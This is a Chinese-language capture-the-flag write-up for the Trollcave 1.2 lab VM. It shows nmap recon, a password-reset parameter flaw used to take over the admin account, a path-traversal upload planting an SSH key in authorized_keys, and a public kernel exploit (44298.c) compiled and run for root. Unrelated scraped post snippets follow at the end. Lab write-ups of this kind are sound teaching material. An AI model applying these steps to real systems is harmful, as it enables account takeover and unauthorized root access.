[Write-up]-Trollcave: 1.2
关于
信息收集
- 不知道VM虚拟机怎么啦,导入镜像后,用Nmap扫了,发现不了主机。所以这次用了VBox。
- vboxnet0的IP为192.168.56.130,Nmap扫192.168.56.1/24,发现虚拟机IP为192.168.56.102
nmap -T4 -A 192.168.56.102
Starting Nmap 7.01 ( https://nmap.org ) at 2018-07-16 22:38 CST
Nmap scan report for 192.168.56.102
Host is up (0.00041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
|_ 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
80/tcp open http nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
- 发现开了ssh和http就没了。先去看Web的。通过插件看到好像是一个
ruby-on-rails
框架写的,然后有几篇文章讲关于这个网站的,翻译一下就能知道其中有讲到密码找回的,是新注册的用户才可以的。旁边还有显示在线的用户和新注册的用户。 - 随便点开一个用户的主页发现URL是从1~17的数字,17又是新注册的,所以我们猜想1就是管理员用户。
- 现在尝试去找回密码,通过Google可以找到这个框架的找回密码的在
password_reset
后面加new的。详细的可以点这里看一下。 - 打开
http://192.168.56.102/password_resets/new
输入管理员用户King发现不行,因为在上面说了,新注册的用户才可以找回密码。再输入xer这个新注册的用户。 - 然后有一段提示:
Reset email sent. http://192.168.56.102/password_resets/edit.Ec80xGP57IiFEzBpAtx4AQ?name=xer
把name的参数改成管理员用户King,发现可以改掉管理员的密码,改了之后登录管理员看看。 - 有可以上传文件的
http://192.168.56.102/user_files
还有可以开启上传文件的选项。 - 这里还有服务器的物理路径
/var/www/trollcave/public/uploads/King/crown.png
- 这个框架会新建一个rails的用户给Web服务。所以我们打算上传一个shh的公钥,这样就可以直接用ssh连接服务器了。就是上传到../../../../../../home/rails/.ssh/authorized_keys,然后ssh rails@192.168.56.102连上。
提权
- 老套路
python -c 'import pty;pty.spawn("/bin/bash")'
获取交互终端。 lsb_release -a
查看系统的发行版本,准备exp
rails@trollcave:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.4 LTS
Release: 16.04
Codename: xenial
rails@trollcave:~$
rails@trollcave:~$ uname -a
Linux trollcave 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
- 搜搜exp:searchsploit 4.4.0-116,编译上传到目标主机。
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Exploit Title | Path
| (/opt/exploit-database/)
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Shellcodes: No Result
Papers: No Result
cp /opt/exploit-database/exploits/linux/local/44298.c exp.c
gcc exp.c
scp a.out rails@192.168.56.102:a.out
- 加权限执行,拿到root权限,完事!
rails@trollcave:~$ ls
rails@trollcave:~$ pwd
/home/rails
rails@trollcave:~$ ls
a.out
rails@trollcave:~$ chmod +x a.out
rails@trollcave:~$ ./a.out
task_struct = ffff880027d29e00
uidptr = ffff88002ac26844
spawning root shell
root@trollcave:~#
root@trollcave:/root# cat flag.txt
et tu, dragon?
c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
root@trollcave:/root#
[Write-up]-Trollcave: 1.2的更多相关文章
- trollcave解题
这是第一次完整地进行模拟渗透,前前后后一共花了一天时间,花了点时间写了个writeup. 博主是个菜鸡,如果有大神看到,请轻喷...... writeup下载:https://hrbeueducn-m ...
随机推荐
- AcWing 871. 约数之和
#include <iostream> #include <algorithm> #include <unordered_map> #include <vec ...
- 【PAT甲级】1111 Online Map (30分)(dijkstra+路径记录)
题意: 输入两个正整数N和M(N<=500,M<=N^2),分别代表点数和边数.接着输入M行每行包括一条边的两个结点(0~N-1),这条路的长度和通过这条路所需要的时间.接着输入两个整数表 ...
- PHP实现敏感词过滤
1.敏感词过滤方法 /** * @todo 敏感词过滤,返回结果 * @param array $list 定义敏感词一维数组 * @param string $string 要过滤的内容 * @re ...
- JEECG弹出框提交表单
一.设备主页面(deviceMain.jsp) <t:dgToolBar title="编辑设备" icon="icon-edit" url=" ...
- XMOS发布集单片机,AI,FPGA,DSP于一身的跨界处理器完全体xcore.ai,致力于AIOT,售价1美元起步
说明:XMOS这次致力于打造全新的,颠覆性的嵌入式平台,简化开发人员要学一堆东西才能开发一款高性能AIOT产品的痛点. XCORE.AI集单片机,AI,FPGA,DSP于一身,嵌入式软件开发人员可以灵 ...
- 修改环境变量后,导致一些常用命令失效,如ll,ls,vi不能用
因为一不小心将linux的环境变量修改错误,导致ll之类的常用命令都不能用,很是苦恼,通过百度查询,原来在敲命令时,敲完整的命令路径,还是可以的: 原文地址:http://www.cnblogs.co ...
- C:字符数组 与 字符串
字符串与字符数组 C语言中没有字符串这种数据类型,可以通过char的数组来替代: 字符串一定是一个char的数组,但char的数组未必是字符串: 数字0(和字符'\0'等价)结尾的char数组就是一个 ...
- Git创建合并和删除分支
创建并切换分支 git checkout命令加上-b参数表示创建并切换分支,以下为创建并切换到dev分支: 相当于先通过 $ git branch dev 命令创建dev分支,然后 $ git che ...
- js判断json对象是否包含key
if(json.hasOwnProperty("KEY")){ }
- Cygwin不能编译及解决办法
最近不知道什么原因,以前使用cygwin编译Android动态库,现在不能使用了,报下面的错误. Android NDK: Host 'awk' tool is outdated. Please de ...